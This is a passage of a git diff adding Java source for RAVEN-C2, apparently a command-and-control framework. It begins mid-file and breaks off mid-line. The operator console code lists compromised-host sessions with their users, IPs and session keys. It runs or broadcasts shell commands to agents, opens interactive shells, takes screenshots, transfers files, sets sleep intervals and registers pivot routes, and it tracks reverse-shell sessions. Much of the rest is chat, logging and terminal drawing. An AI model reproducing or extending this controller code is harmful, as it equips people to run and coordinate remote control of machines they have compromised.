STATUS")); + System.out.println(); + + if (Server == null || !Server.IsRunning()) { + if (IsTeamServerMode && ServerStartTime != null) { + Logger.Custom(" %sStatus %sONLINE (cross-process)%n", AnsiColor.Red, AnsiColor.Green); + Logger.Custom(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + Logger.Custom(" %sAddress %s%s:%d%n",AnsiColor.Red, AnsiColor.White, Config.GetServerHost(), Config.GetServerPort()); + Logger.Custom(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(UptimeSeconds)); + Logger.Custom(" %sSessions %s(N/A - cross-process)%n", AnsiColor.Red, AnsiColor.White); + } else { + Logger.Custom(" %sStatus %sOFFLINE%n", AnsiColor.Red, AnsiColor.Red); + } + } else { + Logger.Custom(" %sStatus %sONLINE%n", AnsiColor.Red, AnsiColor.Green); + Logger.Custom(" %sMode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveMode.name()); + Logger.Custom(" %sAddress %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); + Logger.Custom(" %sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, SystemHelper.FormatUptime(UptimeSeconds)); + Logger.Custom(" %sSessions %s%d%n", AnsiColor.Red, AnsiColor.White, Server.GetSessions().Count()); + } + + Logger.Custom(" %sDatabase %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, DatabaseState, DatabaseType); + if (IsTeamServerMode && OperatorName != null) + Logger.Custom(" %sOperator %s%s%n", AnsiColor.Red, AnsiColor.White, OperatorName); + System.out.println(); + } + + private void HandleEvent(EventType Type, Map Data) { + switch (Type) { + case ServerStarted -> + LogManager.Add(AnsiColor.White + " server listening on " + Data.get("Host") + ":" + Data.get("Port") + AnsiColor.Reset, true); + case AgentConnected -> + LogManager.Add(AnsiColor.Green + " [" + Data.get("AgentName") + "] session-" + Data.get("ID") + " key: " + Data.get("SessionKey") + " (" + Data.get("OS") + ")" + AnsiColor.Reset, true); + case AgentDisconnected -> + LogManager.Add(AnsiColor.Red + " session-" + Data.get("ID") + " disconnected: " + Data.get("Reason") + AnsiColor.Reset, true); + case AgentRemoved -> + LogManager.Add(AnsiColor.White + " session-" + Data.get("ID") + " removed" + AnsiColor.Reset, false); + case Error -> + LogManager.Add(AnsiColor.Red + " Error: " + Data.get("Message") + AnsiColor.Reset, true); + } + } + + public RavenServer GetServer() { return Server; } + public Instant GetServerStartTime() { return ServerStartTime; } + public boolean IsRunning() { return Server != null && Server.IsRunning(); } + + private static boolean IsPortAlreadyBound(String Host, int Port) { + try (ServerSocket TestSocket = new ServerSocket()) { + TestSocket.setReuseAddress(false); + TestSocket.bind(new InetSocketAddress(Port)); + return false; + } catch (IOException Exception) { + return true; + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/session/SessionCommands.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/session/SessionCommands.java new file mode 100644 index 0000000..f123c0a --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/session/SessionCommands.java @@ -0,0 +1,222 @@ +package com.raven.interfaces.CLI.core.session; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import com.raven.interfaces.CLI.module.log.LogManager; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import com.raven.utils.AnsiColor; +import com.raven.utils.SystemHelper; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.List; +import java.util.Map; +import java.util.Optional; + +public final class SessionCommands { + + private final TerminalRenderer Renderer; + private final LogManager LogManager; + private final TeamDatabase Database; + + private RavenServer Server; + private String OperatorName; + private int CurrentSessionId = -1; + + public SessionCommands(TerminalRenderer Renderer, LogManager LogManager, TeamDatabase Database) { + this.Renderer = Renderer; + this.LogManager = LogManager; + this.Database = Database; + } + + public void SetServer(RavenServer Server) { this.Server = Server; } + public void SetOperator(String OperatorName) { this.OperatorName = OperatorName; } + public int GetCurrentSessionId() { return CurrentSessionId; } + + public void ShowSessions() { + System.out.println(Renderer.Box("ACTIVE SESSIONS")); + System.out.println(); + + if (Server == null) { + Logger.Info("running in cross-process mode - session list unavailable."); + Logger.Info("use the primary operator terminal or webstart to view sessions.\n"); + return; + } + + List Sessions = Server.GetSessions().GetAll(); + if (Sessions.isEmpty()) { Logger.Info("no active sessions\n"); return; } + + Logger.Custom(" %s%-5s %-14s %-14s %-16s %-10s %-10s %s%s%n", + AnsiColor.Blue, "ID", "NAME/CERT", "TYPE", "IP", "OS", "USER", "SESSION-KEY", AnsiColor.Reset); + System.out.println(Renderer.Divider()); + + for (Session ActiveSession : Sessions) { + String DisplayName = ActiveSession.GetDisplayName(); + String OsLabel = ActiveSession.GetOs(); + Logger.Custom(" %s#%-4d %-14s %-14s %-16s %-10s %-10s %s%s%n", + AnsiColor.White, + ActiveSession.GetId(), + DisplayName.length() > 14 ? DisplayName.substring(0, 13) + "-" : DisplayName, + ActiveSession.GetSessionType().name(), + ActiveSession.GetAgentIp(), + OsLabel.length() > 10 ? OsLabel.substring(0, 9) + "-" : OsLabel, + ActiveSession.GetUser(), + ActiveSession.GetSessionKey(), + AnsiColor.Reset); + } + System.out.println(); + } + + public void ShowSessionInfo(int SessionId) { + if (Server == null) { Logger.Info("unavailable in cross-process mode"); return; } + Optional Found = Server.GetSessions().Get(SessionId); + if (Found.isEmpty()) { Logger.Warn("session not found"); return; } + Session ActiveSession = Found.get(); + + System.out.println(Renderer.Box("SESSION INFO - #" + SessionId)); + System.out.println(); + Logger.Custom(" %sID %s%d%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetId()); + Logger.Custom(" %sName %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetDisplayName()); + Logger.Custom(" %sType %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetSessionType().name()); + Logger.Custom(" %sHostname %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetHostname()); + Logger.Custom(" %sUser %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetUser()); + Logger.Custom(" %sOS %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetOs()); + Logger.Custom(" %sArch %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetArch()); + Logger.Custom(" %sAgent IP %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetAgentIp()); + Logger.Custom(" %sKey %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetSessionKey()); + Logger.Custom(" %sEncrypted %s%b%n", AnsiColor.Red, AnsiColor.White, ActiveSession.IsEncrypted()); + Logger.Custom(" %smTLS %s%b%n", AnsiColor.Red, AnsiColor.White, ActiveSession.IsMtlsEnabled()); + Logger.Custom(" %sCert CN %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetCertCn()); + Logger.Custom(" %sShell Mode %s%s%n", AnsiColor.Red, AnsiColor.White, ActiveSession.GetShellMode()); + String Note = Database.GetAgentNote(SessionId); + Logger.Custom(" %sNote %s%s%n", AnsiColor.Red, AnsiColor.White, Note.isEmpty() ? "(none)" : Note); + System.out.println(); + } + + public void ShowStats() { + System.out.println(Renderer.Box("SESSION STATISTICS")); + System.out.println(); + if (Server == null) { + Logger.Custom(" %sSessions %s(N/A - cross-process mode)%n", AnsiColor.Red, AnsiColor.White); + System.out.println(); + return; + } + Map Stats = Server.GetSessions().GetStats(); + Logger.Custom(" %sServer %s%s:%d%n", AnsiColor.Red, AnsiColor.White, Server.GetHost(), Server.GetPort()); + Logger.Custom(" %sTotal %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("Total")); + Logger.Custom(" %sRaven %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("RAVEN")); + Logger.Custom(" %sRaw %s%d%n", AnsiColor.Red, AnsiColor.White, Stats.get("REVERSE_SHELL")); + System.out.println(); + } + + public void Execute(int SessionId, String Command) { + if (Server == null) { Logger.Warn("session commands unavailable in cross-process mode."); return; } + String Operator = OperatorName != null ? OperatorName : "operator"; + String[] Result = Server.ExecuteCommand(SessionId, Command); + boolean Success = Boolean.parseBoolean(Result[0]); + + if (Success) { + System.out.println(Renderer.OutputBox(Result[1])); + LogManager.Add(AnsiColor.Green + "session-" + SessionId + " OK" + AnsiColor.Reset, false); + } else { + Logger.Info(Result[1]); + LogManager.Add(AnsiColor.Red + "session-" + SessionId + " FAIL: " + Result[1] + AnsiColor.Reset, false); + } + Database.SaveCommandLog(SessionId, Operator, Command, Result[1], Success); + } + + public void Broadcast(List SessionIds, String Command) { + if (Server == null) { Logger.Info("broadcast unavailable in cross-process mode."); return; } + String Operator = OperatorName != null ? OperatorName : "operator"; + Logger.Custom(" broadcasting to %d session(s): %s%n", SessionIds.size(), Command); + Map Results = Server.BroadcastCommand(SessionIds, Command); + System.out.println(Renderer.Box("BROADCAST RESULTS - " + Results.size() + " sessions")); + System.out.println(); + for (Map.Entry Entry : Results.entrySet()) { + boolean Success = Boolean.parseBoolean(Entry.getValue()[0]); + Logger.Custom(" %ssession-%-3d %s%n", Success ? AnsiColor.Green : AnsiColor.Red, Entry.getKey(), AnsiColor.Reset); + System.out.println(Renderer.OutputBox(Entry.getValue()[1])); + Database.SaveCommandLog(Entry.getKey(), Operator, Command, Entry.getValue()[1], Success); + } + } + + public void BroadcastAll(String Command) { + if (Server == null) { Logger.Warn("unavailable in cross-process mode"); return; } + int Total = Server.GetSessions().Count(); + if (Total == 0) { Logger.Info("no active sessions"); return; } + String Operator = OperatorName != null ? OperatorName : "operator"; + Logger.Custom(" broadcasting to all %d session(s): %s%n", Total, Command); + Map Results = Server.BroadcastAll(Command); + System.out.println(Renderer.Box("BROADCAST-ALL RESULTS")); + System.out.println(); + for (Map.Entry Entry : Results.entrySet()) { + boolean Success = Boolean.parseBoolean(Entry.getValue()[0]); + Logger.Custom(" %ssession-%-3d %s%n", Success ? AnsiColor.Green : AnsiColor.Red, Entry.getKey(), AnsiColor.Reset); + System.out.println(Renderer.OutputBox(Entry.getValue()[1])); + Database.SaveCommandLog(Entry.getKey(), Operator, Command, Entry.getValue()[1], Success); + } + } + + public void Interactive(int SessionId) { + if (Server == null) { Logger.Warn("unavailable in cross-process mode"); return; } + Optional Found = Server.GetSessions().Get(SessionId); + if (Found.isEmpty()) { Logger.Warn("session not found"); return; } + Session ActiveSession = Found.get(); + + System.out.println(Renderer.Box("INTERACTIVE SESSION")); + Logger.Custom( + "%n %s[%s%s%s] %sID: %s%d %sUser: %s%s@%s %sOS: %s%s %sArch: %s%s %sIP: %s%s %sType: %s%s %sKey: %s%s%s%n", + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetDisplayName(), AnsiColor.Blue, + AnsiColor.Blue, AnsiColor.White, SessionId, + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetUser(), ActiveSession.GetHostname(), + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetOs(), + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetArch(), + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetAgentIp(), + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetSessionType(), + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetSessionKey(), + AnsiColor.Reset); + Logger.Info("type 'back' to return"); + LogManager.Add(AnsiColor.Blue + "entered [" + ActiveSession.GetDisplayName() + "] session-" + SessionId + AnsiColor.Reset, false); + + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + CurrentSessionId = SessionId; + + while (CurrentSessionId == SessionId) { + try { + Logger.Custom("%n %s[%s%s#%d%s%s]%s ~$ %s", + AnsiColor.Blue, AnsiColor.White, ActiveSession.GetDisplayName(), + SessionId, AnsiColor.Blue, AnsiColor.White, AnsiColor.Blue, AnsiColor.Reset); + String Command = Reader.readLine(); + if (Command == null || Command.trim().isEmpty()) continue; + Command = Command.trim(); + if (Command.equalsIgnoreCase("back")) { CurrentSessionId = -1; Logger.Info("returned to main console"); break; } + if (Command.equalsIgnoreCase("clear")) { SystemHelper.ClearScreen(); continue; } + LogManager.Add(AnsiColor.Blue + "[" + ActiveSession.GetDisplayName() + "]: " + Command + AnsiColor.Reset, false); + Execute(SessionId, Command); + } catch (IOException Exception) { + break; + } + } + } + + public void Kill(int SessionId) { + if (Server == null) { Logger.Warn("unavailable in cross-process mode"); return; } + Optional Found = Server.GetSessions().Get(SessionId); + if (Found.isEmpty()) { Logger.Warn("session not found"); return; } + String DisplayName = Found.get().GetDisplayName(); + Server.RemoveSession(SessionId); + Logger.Custom(" session-%d [%s] terminated%n", SessionId, DisplayName); + LogManager.Add(AnsiColor.Green + "session-" + SessionId + " [" + DisplayName + "] killed" + AnsiColor.Reset, false); + } + + public void ShowTasksQueue() { + System.out.println(Renderer.Box("PENDING TASKS")); + System.out.println(); + int Total = Server != null ? Server.GetSessions().Count() : 0; + Logger.Custom(" %sActive sessions: %s%d%s%n", AnsiColor.Red, AnsiColor.White, Total, AnsiColor.Reset); + Logger.Info(" use 'broadcast' or 'exec' to queue commands to sessions"); + System.out.println(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/task/TaskCommands.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/task/TaskCommands.java new file mode 100644 index 0000000..bc0110e --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/task/TaskCommands.java @@ -0,0 +1,118 @@ +package com.raven.interfaces.CLI.core.task; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.interfaces.CLI.core.session.SessionCommands; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import com.raven.utils.AnsiColor; +import java.util.List; +import java.util.Map; + +public final class TaskCommands { + + private final TeamDatabase Database; + private final TerminalRenderer Renderer; + private final SessionCommands SessionCommands; + + private String OperatorName; + + public TaskCommands(TeamDatabase Database, TerminalRenderer Renderer, SessionCommands SessionCommands) { + this.Database = Database; + this.Renderer = Renderer; + this.SessionCommands = SessionCommands; + } + + public void SetOperator(String OperatorName) { + this.OperatorName = OperatorName; + } + + public void ShowCommandHistory(int SessionId, int Limit) { + List> History = Database.GetCommandHistory(SessionId, Limit); + String Title = SessionId == 0 + ? "COMMAND HISTORY (all sessions, last " + Limit + ")" + : "COMMAND HISTORY - session-" + SessionId + " (last " + Limit + ")"; + System.out.println(Renderer.Box(Title)); + System.out.println(); + if (History.isEmpty()) { Logger.Info("no command history\n"); return; } + + Logger.Custom(" %s%-5s %-12s %-8s %-36s %s%s%n", + AnsiColor.Red, "SID", "OPERATOR", "STATUS", "COMMAND", "TIMESTAMP", AnsiColor.Reset); + System.out.println(Renderer.Divider()); + + for (Map Record : History) { + boolean Success = Boolean.parseBoolean(Record.getOrDefault("Success", "false").toString()); + String Command = Record.getOrDefault("Command", "").toString(); + if (Command.length() > 36) Command = Command.substring(0, 35) + "-"; + Logger.Custom(" %s%-5s %-12s %s%-8s%s %-36s %s%s%n", + AnsiColor.White, + Record.getOrDefault("AgentId", "?"), + Record.getOrDefault("Operator", "?"), + Success ? AnsiColor.Green : AnsiColor.Red, + Success ? "ok" : "fail", + AnsiColor.White, + Command, + Record.getOrDefault("Timestamp", ""), + AnsiColor.Reset); + } + System.out.println(); + } + + public void SetNote(int SessionId, String NoteText) { + Database.SetAgentNote(SessionId, NoteText); + Logger.Info("note saved for session-" + SessionId); + } + + public void GetNote(int SessionId) { + String Note = Database.GetAgentNote(SessionId); + Logger.Custom(" Note [session-%d]: %s%s%s%n", + SessionId, AnsiColor.White, Note.isEmpty() ? "(empty)" : Note, AnsiColor.Reset); + } + + public void Screenshot(int SessionId) { + SessionCommands.Execute(SessionId, "screenshot"); + } + + public void Download(int SessionId, String RemotePath) { + SessionCommands.Execute(SessionId, "download " + RemotePath); + } + + public void Upload(int SessionId, String LocalPath, String RemotePath) { + SessionCommands.Execute(SessionId, "upload " + LocalPath + " " + RemotePath); + } + + public void Sleep(int SessionId, String Seconds) { + SessionCommands.Execute(SessionId, "sleep " + Seconds); + } + + public void RegisterPivot(int SessionId, String Target) { + if (!Target.contains(":")) { + Logger.Error("invalid format - use host:port (e.g. 192.168.1.10:4445)"); + return; + } + String PivotHost; + int PivotPort; + try { + PivotHost = Target.split(":")[0]; + PivotPort = Integer.parseInt(Target.split(":")[1]); + } catch (NumberFormatException Exception) { + Logger.Warn("invalid port"); + return; + } + Database.SetAgentNote(SessionId, "[PIVOT] " + Target); + Database.SaveCommandLog(SessionId, + OperatorName != null ? OperatorName : "cli", + "pivot " + Target, "Pivot route set: " + Target, true); + Logger.Custom(" %sPivot route registered: session-%d > %s%s%n", + AnsiColor.Green, SessionId, Target, AnsiColor.Reset); + Logger.Custom(" %s Use your agent to initiate connection to %s:%d%s%n", + AnsiColor.White, PivotHost, PivotPort, AnsiColor.Reset); + } + + public static int ParseIntSafe(String Value, int Default) { + try { + return Integer.parseInt(Value.trim()); + } catch (Exception Exception) { + return Default; + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/web/WebPanelManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/web/WebPanelManager.java new file mode 100644 index 0000000..8b65fb2 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/core/web/WebPanelManager.java @@ -0,0 +1,62 @@ +package com.raven.interfaces.CLI.core.web; + +import com.raven.core.output.Logger; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.interfaces.APP.WebApp; +import com.raven.utils.AnsiColor; +import com.raven.utils.ServerConfig; +import java.time.Instant; + +public final class WebPanelManager { + + private final ServerConfig Config; + + private WebApp WebPanel; + private ListenerMode ActiveMode; + + public WebPanelManager(ServerConfig Config) { + this.Config = Config; + } + + public void SetActiveMode(ListenerMode ActiveMode) { + this.ActiveMode = ActiveMode; + } + + public void Start(String Host, int Port, RavenServer Server, Instant ServerStartTime) { + if (WebPanel != null) { + Logger.Custom(" %sWeb panel already running%s%n", AnsiColor.Red, AnsiColor.Reset); + return; + } + try { + WebPanel = new WebApp(Config, ActiveMode); + WebPanel.Run(Host, Port); + Logger.Custom(" %sWeb panel started > http://%s:%d/%s%n", + AnsiColor.Green, Host, Port, AnsiColor.Reset); + } catch (Exception Exception) { + Logger.Error("Web panel start failed: " + Exception.getMessage()); + WebPanel = null; + } + } + + public void Stop() { + if (WebPanel == null) { + Logger.Custom(" %sWeb panel not running%s%n", AnsiColor.Red, AnsiColor.Reset); + return; + } + WebPanel.Stop(); + WebPanel = null; + Logger.Custom(" %sWeb panel stopped%s%n", AnsiColor.Green, AnsiColor.Reset); + } + + public void ShowStatus() { + if (WebPanel == null) + Logger.Info("Web Panel : " + AnsiColor.Red + "Offline" + AnsiColor.Reset); + else + Logger.Info("Web Panel : " + AnsiColor.Green + "Online" + AnsiColor.Reset); + } + + public boolean IsRunning() { + return WebPanel != null; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/chat/ChatManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/chat/ChatManager.java new file mode 100644 index 0000000..52417cc --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/chat/ChatManager.java @@ -0,0 +1,96 @@ +package com.raven.interfaces.CLI.module.chat; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import com.raven.utils.AnsiColor; +import java.time.LocalTime; +import java.time.format.DateTimeFormatter; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.CopyOnWriteArrayList; + +public final class ChatManager { + + private static final DateTimeFormatter TimeFormat = DateTimeFormatter.ofPattern("HH:mm:ss"); + private static final int MaxMessages = 500; + + private final List> MessageHistory = new CopyOnWriteArrayList<>(); + private final TeamDatabase Database; + private final TerminalRenderer Renderer; + + private String OperatorName; + + public ChatManager(TeamDatabase Database, TerminalRenderer Renderer) { + this.Database = Database; + this.Renderer = Renderer; + } + + public void SetOperator(String OperatorName) { + this.OperatorName = OperatorName; + } + + public void Send(String Recipient, String Message) { + if (OperatorName == null) { Logger.Info("not in team mode"); return; } + Map Entry = new LinkedHashMap<>(); + Entry.put("From", OperatorName); + Entry.put("To", Recipient); + Entry.put("Message", Message); + Entry.put("Time", LocalTime.now().format(TimeFormat)); + MessageHistory.add(Entry); + if (MessageHistory.size() > MaxMessages) MessageHistory.remove(0); + Database.SaveChatLog(OperatorName, Recipient, Message); + Logger.Custom(" Message sent to [%s%s%s]%n", AnsiColor.Green, Recipient, AnsiColor.Reset); + } + + public void ShowLocalMessages() { + System.out.println(Renderer.Box("CHAT MESSAGES")); + System.out.println(); + if (MessageHistory.isEmpty()) { Logger.Info("no messages\n"); return; } + String CurrentOperator = OperatorName != null ? OperatorName : ""; + for (Map Message : MessageHistory) { + String From = Message.getOrDefault("From", "?").toString(); + String To = Message.getOrDefault("To", "all").toString(); + String Content = Message.getOrDefault("Message", "").toString(); + String Timestamp = Message.getOrDefault("Time", "").toString(); + boolean IsMine = From.equals(CurrentOperator); + String ToLabel = To.equals("all") ? "all" : "> " + To; + Logger.Custom(" %s[%s] %s%s%s [%s]: %s%s%n", + IsMine ? AnsiColor.Green : AnsiColor.White, + Timestamp, + IsMine ? AnsiColor.Green : AnsiColor.Red, + From, AnsiColor.Reset, + ToLabel, Content, AnsiColor.Reset); + } + System.out.println(); + } + + public void ShowDatabaseHistory() { + List> Records = Database.GetChatLogs(100); + System.out.println(Renderer.Box("CHAT HISTORY (Database - last 100)")); + System.out.println(); + if (Records.isEmpty()) { Logger.Info("no chat history in database\n"); return; } + List> Ordered = new ArrayList<>(Records); + Collections.reverse(Ordered); + String CurrentOperator = OperatorName != null ? OperatorName : ""; + for (Map Record : Ordered) { + String From = Record.getOrDefault("from_operator", "?").toString(); + String To = Record.getOrDefault("to_operators", "all").toString(); + String Content = Record.getOrDefault("message", "").toString(); + String Timestamp = Record.getOrDefault("timestamp", "").toString(); + if (Timestamp.length() > 11) Timestamp = Timestamp.substring(11, Math.min(19, Timestamp.length())); + boolean IsMine = From.equals(CurrentOperator); + String ToLabel = "all".equals(To) ? "all" : "> " + To; + Logger.Custom(" %s[%s] %s%s%s [%s]: %s%s%n", + IsMine ? AnsiColor.Green : AnsiColor.White, + Timestamp, + IsMine ? AnsiColor.Green : AnsiColor.Red, + From, AnsiColor.Reset, + ToLabel, Content, AnsiColor.Reset); + } + System.out.println(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/log/LogManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/log/LogManager.java new file mode 100644 index 0000000..72641e2 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/log/LogManager.java @@ -0,0 +1,47 @@ +package com.raven.interfaces.CLI.module.log; + +import com.raven.core.output.EventLog; +import com.raven.core.output.Logger; +import com.raven.interfaces.CLI.module.terminal.TerminalRenderer; +import java.util.List; + +public final class LogManager { + + private final EventLog Log; + private final TerminalRenderer Renderer; + + public LogManager(int MaxEntries, TerminalRenderer Renderer) { + this.Log = new EventLog(MaxEntries); + this.Renderer = Renderer; + } + + public void Add(String Message, boolean PrintNow) { + Log.Add(Message, PrintNow); + } + + public void Add(String Message) { + Log.Add(Message, false); + } + + public int Count() { + return Log.Count(); + } + + public EventLog GetEventLog() { + return Log; + } + + public void Show() { + System.out.println(Renderer.Box("RECENT LOGS")); + System.out.println(); + List Last = Log.GetLast(25); + if (Last.isEmpty()) { + Logger.Info(Renderer.Indent("no logs") + "\n"); + return; + } + for (String Entry : Last) { + Logger.Info(Renderer.Indent(Entry)); + } + System.out.println(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalRenderer.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalRenderer.java new file mode 100644 index 0000000..78db466 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalRenderer.java @@ -0,0 +1,95 @@ +package com.raven.interfaces.CLI.module.terminal; + +import com.raven.utils.AnsiColor; + +public final class TerminalRenderer { + + private static final String FrameIndent = " "; + private static final String HorizontalLine = "─"; + private static final String VerticalLine = "│"; + private static final String CornerTopLeft = "┌"; + private static final String CornerTopRight = "┐"; + private static final String CornerBottomLeft = "└"; + private static final String CornerBottomRight = "┘"; + private static final String Space = " "; + private static final String NewLine = "\n"; + private static final String OutputBoxLabel = "─ Output "; + + private final TerminalWidthDetector WidthDetector; + + public TerminalRenderer(TerminalWidthDetector WidthDetector) { + this.WidthDetector = WidthDetector; + } + + public int ContentWidth() { + return Math.max(36, WidthDetector.GetWidth() - FrameIndent.length() - 2); + } + + public String Indent(String Text) { + return FrameIndent + Text; + } + + public String Divider() { + return Indent(AnsiColor.White + HorizontalLine.repeat(ContentWidth()) + AnsiColor.Reset); + } + + public String Box(String Title) { + int Width = ContentWidth(); + int Inner = Math.max(0, Width - 2); + int PaddingLeft = Math.max(0, (Inner - Title.length()) / 2); + int PaddingRight = Math.max(0, Inner - PaddingLeft - Title.length()); + + String Top = AnsiColor.White + + CornerTopLeft + HorizontalLine.repeat(Inner) + CornerTopRight + + AnsiColor.Reset; + String Middle = AnsiColor.White + VerticalLine + + Space.repeat(PaddingLeft) + + AnsiColor.Green + Title + + Space.repeat(PaddingRight) + + AnsiColor.White + VerticalLine + + AnsiColor.Reset; + String Bottom = AnsiColor.White + + CornerBottomLeft + HorizontalLine.repeat(Inner) + CornerBottomRight + + AnsiColor.Reset; + + return NewLine + Indent(Top) + NewLine + Indent(Middle) + NewLine + Indent(Bottom); + } + + public String OutputBox(String Output) { + int Width = Math.max(34, ContentWidth()); + int Inner = Math.max(0, Width - 2); + int LineWidth = Math.max(1, Inner - 2); + int LabelFill = Math.max(0, Inner - OutputBoxLabel.length()); + + String Top = AnsiColor.Green + + CornerTopLeft + OutputBoxLabel + HorizontalLine.repeat(LabelFill) + CornerTopRight + + AnsiColor.Reset; + String Bottom = AnsiColor.Green + + CornerBottomLeft + HorizontalLine.repeat(Inner) + CornerBottomRight + + AnsiColor.Reset; + + StringBuilder Builder = new StringBuilder(Indent(Top) + NewLine); + + for (String Line : Output.split(NewLine, -1)) { + String Stripped = Line.replaceAll("\u001B\\[[;\\d?]*[A-Za-z]|\u001B[=>]|\r", ""); + while (Stripped.length() > LineWidth) { + Builder.append(Indent( + AnsiColor.Green + VerticalLine + Space + + AnsiColor.White + Stripped.substring(0, LineWidth) + + AnsiColor.Green + Space + VerticalLine + + AnsiColor.Reset + NewLine + )); + Stripped = Stripped.substring(LineWidth); + } + int Padding = Math.max(0, LineWidth - Stripped.length()); + Builder.append(Indent( + AnsiColor.Green + VerticalLine + Space + + AnsiColor.White + Stripped + Space.repeat(Padding) + + AnsiColor.Green + Space + VerticalLine + + AnsiColor.Reset + NewLine + )); + } + + return Builder.append(Indent(Bottom)).toString(); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalWidthDetector.java b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalWidthDetector.java new file mode 100644 index 0000000..c382aa0 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/CLI/module/terminal/TerminalWidthDetector.java @@ -0,0 +1,136 @@ +package com.raven.interfaces.CLI.module.terminal; + +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicInteger; + +public final class TerminalWidthDetector { + + private static final int DefaultWidth = 80; + private static final int MinWidth = 40; + + private final AtomicInteger CachedWidth = new AtomicInteger(-1); + private Thread PollerThread; + + public void StartPoller() { + PollerThread = new Thread(() -> { + while (!Thread.currentThread().isInterrupted()) { + CachedWidth.set(Detect()); + try { + Thread.sleep(250); + } catch (InterruptedException Exception) { + Thread.currentThread().interrupt(); + break; + } + } + }, "TerminalWidthPoller"); + PollerThread.setDaemon(true); + PollerThread.start(); + } + + public int GetWidth() { + String ColumnsEnvironment = System.getenv("COLUMNS"); + if (ColumnsEnvironment != null && !ColumnsEnvironment.isBlank()) { + try { + return Math.max(MinWidth, Integer.parseInt(ColumnsEnvironment.trim())); + } catch (NumberFormatException Ignored) {} + } + if (PollerThread == null || !PollerThread.isAlive()) StartPoller(); + int Cached = CachedWidth.get(); + if (Cached > 0) return Cached; + int Detected = Detect(); + CachedWidth.set(Detected); + return Detected; + } + + private int Detect() { + String OperatingSystem = System.getProperty("os.name", "").toLowerCase(); + if (OperatingSystem.contains("win")) { + Integer Width = DetectWindows(); + return Width != null ? Width : DefaultWidth; + } + Integer Width = DetectUnix(); + return Width != null ? Width : DefaultWidth; + } + + private Integer DetectUnix() { + Integer Width = DetectUnixViaStty(); + if (Width != null) return Width; + return DetectUnixViaTput(); + } + + private Integer DetectUnixViaStty() { + try { + ProcessBuilder ProcessSetup = new ProcessBuilder("sh", "-c", "stty size < /dev/tty"); + ProcessSetup.redirectErrorStream(true); + Process RunningProcess = ProcessSetup.start(); + String Output = new String(RunningProcess.getInputStream().readAllBytes()).trim(); + RunningProcess.waitFor(); + String[] Parts = Output.split("\\s+"); + if (Parts.length >= 2) return Math.max(MinWidth, Integer.parseInt(Parts[1])); + } catch (Exception Ignored) {} + return null; + } + + private Integer DetectUnixViaTput() { + try { + ProcessBuilder ProcessSetup = new ProcessBuilder("sh", "-c", "tput cols < /dev/tty"); + ProcessSetup.redirectErrorStream(true); + Process RunningProcess = ProcessSetup.start(); + String Output = new 